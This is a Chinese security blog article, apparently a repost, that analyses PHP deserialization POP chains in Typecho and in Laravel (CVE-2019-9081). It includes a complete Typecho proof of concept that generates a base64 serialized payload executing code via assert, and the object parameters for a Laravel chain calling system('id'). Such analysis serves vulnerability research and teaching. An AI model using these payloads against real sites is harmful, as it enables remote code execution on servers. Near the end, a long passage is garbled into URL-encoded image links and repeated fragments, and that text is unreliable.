原文链接:https://skysec.top/2019/07/18/Summary-of-serialization-attacks-Part-3/
前言
接之前的两篇文章:
https://www.4hou.com/web/17835.html
https://www.4hou.com/web/17976.html
之前分别介绍了php序列化攻击的魔法方法、session序列化引擎以及原生类序列化问题。
本篇文章则主要从真实案例来看序列化的pop链构造。
typecho序列化
这一节就简单说一下构造链,因为之前的文章分析过,可详见:
https://skysec.top/2017/12/29/cms%E5%B0%8F%E7%99%BD%E5%AE%A1%E8%AE%A1-typecho%E5%8F%8D%E5%BA%8F%E5%88%97%E6%BC%8F%E6%B4%9E/
总结
1.找到入手点__typecho_config:
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
2.寻找可用类Typecho_Db:
$db = new Typecho_Db($config['adapter'], $config['prefix']);
3.利用Typecho_Feed魔法方法__toString():
$config['adapter'] => new Typecho_Feed()
class Typecho_Feed __toString()
4.利用Typecho_Request魔法方法__get():
$item['author']->screenName
class Typecho_Request __get()
5.利用get()方法,完成利用链:
get() -> _applyFilter() -> call_user_func
poc
class Typecho_Feed{
private $_type='ATOM 1.0';
private $_items;
public function __construct(){
$this->_items = array(
'0'=>array(
'author'=> new Typecho_Request())
);
}
}
class Typecho_Request{
private $_params = array('screenName'=>'phpinfo()');
private $_filter = array('assert');
}
$poc = array(
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho');
echo base64_encode(serialize($poc));
laravel序列化
Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework),若其本身出现漏洞,则对使用响应框架开发的网站影响是致命的。而这里就将分析laravel框架序列化RCE,CVE编号:CVE-2019-9081,受影响范围:laravel >= 5.7。
类名加载
我们首先随便构造一段序列化:
<?php
class sky{
public $sky='test';
}
$sky = new sky();
echo urlencode(serialize($sky));
# O%3A3%3A%22sky%22%3A1%3A%7Bs%3A3%3A%22sky%22%3Bs%3A4%3A%22test%22%3B%7D
我们传入laravel,并进行反序列化,可以看到load方法试图加载我们随便输入的sky类,首先在$facadeNamespace中寻找指定类名:
如果找到,则会通过loadFacade进行加载,否则则进入loadClass进行class map查找,在vendor目录下寻找所需类:
但是并不能找到sky类,最后会return false。
最后查看是否class名以Swift_开头:
最后因为找不到对应类的定义,所以并不能成功进入反序列化流程。
但如果我们用一个存在的类,可以明显发现在findFile函数的classMap中找到了相关类,并返回进行了include:
危险类挖掘
挖掘一个框架的新漏洞,从框架新加入的代码入手是一个很好的思路。我们注意到laravel在5.7之后加入了PendingCommand:
值得注意的是,我们查到该文件,其定义了PendingCommand类,同时注意到其两个方法:
/**
* Execute the command.
*
* @return int
*/
public function execute()
{
return $this->run();
}
/**
* Handle the object's destruction.
*
* @return void
*/
public function __destruct()
{
if ($this->hasExecuted) {
return;
}
$this->run();
}
非常有意思的是,该类有魔法方法__destruct,而该魔法方法会调用run函数,而run函数可以进行执行命令。
我们查看其构造方式:
public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
一共需要用到4个属性,我们查阅对应手册:
run & mockConsoleOutput
我们跟进run方法:
public function run()
{
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code {$this->expectedExitCode} but received {$exitCode}."
);
}
return $exitCode;
}
关注到第一个关键点:
$this->mockConsoleOutput();
我们跟进该函数:
protected function mockConsoleOutput()
{
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
foreach ($this->test->expectedQuestions as $i => $question) {
$mock->shouldReceive('askQuestion')
->once()
->ordered()
->with(Mockery::on(function ($argument) use ($question) {
return $argument->getQuestion() == $question[0];
}))
->andReturnUsing(function () use ($question, $i) {
unset($this->test->expectedQuestions[$i]);
return $question[1];
});
}
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
}
首先是第一步:
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
我们跟进createABufferedOutputMock:
private function createABufferedOutputMock()
{
$mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
->shouldAllowMockingProtectedMethods()
->shouldIgnoreMissing();
foreach ($this->test->expectedOutput as $i => $output) {
$mock->shouldReceive('doWrite')
->once()
->ordered()
->with($output, Mockery::any())
->andReturnUsing(function () use ($i) {
unset($this->test->expectedOutput[$i]);
});
}
return $mock;
}
这里如果想继续走下去,我们需要属性$this->test->expectedOutput
那么有没有类有expectedOutput呢?我们全局搜索,发现在Illuminate\Foundation\Testing\Concerns中存在这样的属性。
但这样的类很难被实例化,无法走通后面的路。但此时我们可以巧用魔法方法get:当我们试图获取一个不可达属性,类会自动调用get函数。
我们找到如下类:
vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php
可以使用我们经常使用的小trick,设置键名为expectedOutput的数组,即可利用。
然后是第二步:
foreach ($this->test->expectedQuestions as $i => $question)
此处依旧可以使用__get方法,定义键名为expectedQuestions的数组即可。
run & 实例化对象
到此为止,我们已经能构造出PendingCommand前3个参数的值了:
$test = new Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
$command = "system";
$parameters = array('id');
那么最后一个参数$app同样尤为关键,我们继续跟进run的代码,来到关键第三步:
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
我们跟入这一句,可以发现,首先代码在实例化对象:
$this->app[Kernel::class]
然后再去调对应的call方法,那么跟入不难发现,其想要实例化的对象是:
Illuminate\Contracts\Console\Kernel
首先进入:
跟进make:
public function make($abstract, array $parameters = [])
{
$abstract = $this->getAlias($abstract);
if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) {
$this->loadDeferredProvider($abstract);
}
return parent::make($abstract, $parameters);
}
再跟进其父类的make:
public function make($abstract, array $parameters = [])
{
return $this->resolve($abstract, $parameters);
}
跟进resolve:
...
$concrete = $this->getConcrete($abstract);
...
那么此时发现abstract):
vendor/laravel/framework/src/Illuminate/Container/Container.php
$concrete = $this->getConcrete($abstract);
跟进getConcrete:
protected function getConcrete($abstract)
{
if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
return $concrete;
}
// If we don't have a registered resolver or concrete for the type, we'll just
// assume each type is a concrete name and will attempt to resolve it as is
// since the container should be able to resolve concretes automatically.
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
}
我们注意到,如果bindings[abstract][‘concrete’]。
而bindings是类Container的属性,同时注意到类Container中也有可以RCE的call方法。那么现在思路很清晰:我们可以任意实例化类Container的子类,这样在其子类调用call的时候,会触发类Container的call方法,那么即可达成RCE。
而这样的类选择类Container的子类:Illuminate\Foundation\Application再好不过。
而bindings只要存在键名为Illuminate\Contracts\Console\Kernel的数组,就能进入该if条件句,那么我们只要按如下进行构造:
array(
"Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")
)
就可以保证返回值为Illuminate\Foundation\Application。
接下来会判断是否可以build:
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
我们跟进isBuildable:
protected function isBuildable($concrete, $abstract)
{
return $concrete === $abstract || $concrete instanceof Closure;
}
如果abstract相等则可以build。
但我们现在明显:
$concrete = 'Illuminate\Foundation\Application';
$abstract = 'Illuminate\Contracts\Console\Kernel';
所以会进入else分支,继续make。
而make时,我们注意到:
而else分支传入make的值为:
$object = $this->make($concrete);
这样一来直接就构成了后面:
$concrete = $this->getConcrete($abstract);
这次bindings数组里并没有键名为Illuminate\Foundation\Application的数组里,于是直接回返回$abstract的值,这样一来就达到了实例化Illuminate\Foundation\Application的目的:
$concrete = $abstract = 'Illuminate\Foundation\Application'
最后则可以让最后的%5D(https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-21-58-57.png)%0A%5B!%5Bimg%5D(https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-22-00-19.png)%5D(https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-22-00-19.png)%0A%E7%B4%A7%E6%8E%A5%E7%9D%80%E4%BC%9A%E8%B0%83%E7%94%A8Illuminate%5CFoundation%5CApplication%E7%88%B6%E7%B1%BBIlluminate%5CContainer%5CContainer%E7%9A%84call%E6%96%B9%E6%B3%95%EF%BC%9A%0Avendor%2Flaravel%2Fframework%2Fsrc%2FIlluminate%2FContainer%2FContainer.php%0A%5B!%5Bimg%5D(https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-18-33-58.png)%5D(https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-18-33-58.png)%0A%5B!%5Bimg%5D(https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-22-03-01.png)%5D(https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-22-03-01.png)%0A%E6%9C%80%E5%90%8E%E8%B5%B0%E5%85%A5%E8%BF%99%E4%B8%AAcall_user_func_array%EF%BC%8C%E8%80%8C#card=math&code=this-%3Eapp%5BKernel%3A%3Aclass%5D%E7%9A%84%E5%80%BC%E5%8F%98%E4%B8%BAIlluminate%5CFoundation%5CApplication%E3%80%82%E4%B8%BA%E4%BA%86%E6%9B%B4%E5%8A%A0%E7%9B%B4%E8%A7%82%EF%BC%8C%E6%88%91%E4%BB%AC%E5%9C%A8%E8%BF%99%E4%B8%AA%E4%BD%8D%E7%BD%AE%E5%81%9A%E5%A6%82%E4%B8%8B%E6%94%B9%E5%86%99%EF%BC%9A%0A%5B%21%5Bimg%5D%28https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-21-58-57.png%29%5D%28https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-21-58-57.png%29%0A%5B%21%5Bimg%5D%28https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-22-00-19.png%29%5D%28https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-22-00-19.png%29%0A%E7%B4%A7%E6%8E%A5%E7%9D%80%E4%BC%9A%E8%B0%83%E7%94%A8Illuminate%5CFoundation%5CApplication%E7%88%B6%E7%B1%BBIlluminate%5CContainer%5CContainer%E7%9A%84call%E6%96%B9%E6%B3%95%EF%BC%9A%0Avendor%2Flaravel%2Fframework%2Fsrc%2FIlluminate%2FContainer%2FContainer.php%0A%5B%21%5Bimg%5D%28https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-18-33-58.png%29%5D%28https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-18-33-58.png%29%0A%5B%21%5Bimg%5D%28https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-22-03-01.png%29%5D%28https%3A%2F%2Fskysec.top%2Fimages%2F2019-07-18-22-03-01.png%29%0A%E6%9C%80%E5%90%8E%E8%B5%B0%E5%85%A5%E8%BF%99%E4%B8%AAcall_user_func_array%EF%BC%8C%E8%80%8C&id=y4Zcv)callback是我们可以控制的system,而getMethodDependencies(),我们跟进:
最后会返回我们需要的参数id,那么这样一来,即可RCE成功:
总结
laravel整个反序列化RCE链用的非常漂亮:
1.类PendingCommand 利用 destruct触发run()方法
2.类vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php 构造数组
3.类vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php 利用 get()魔法方法满足mockConsoleOutput
4.利用任意实例化对象,实例化Illuminate\Foundation\Application
5.调用call触发父类call方法RCE
后记
真实的chain构造远比之前例题中的难上多倍,但整个过程非常有趣,可以学到不少姿势~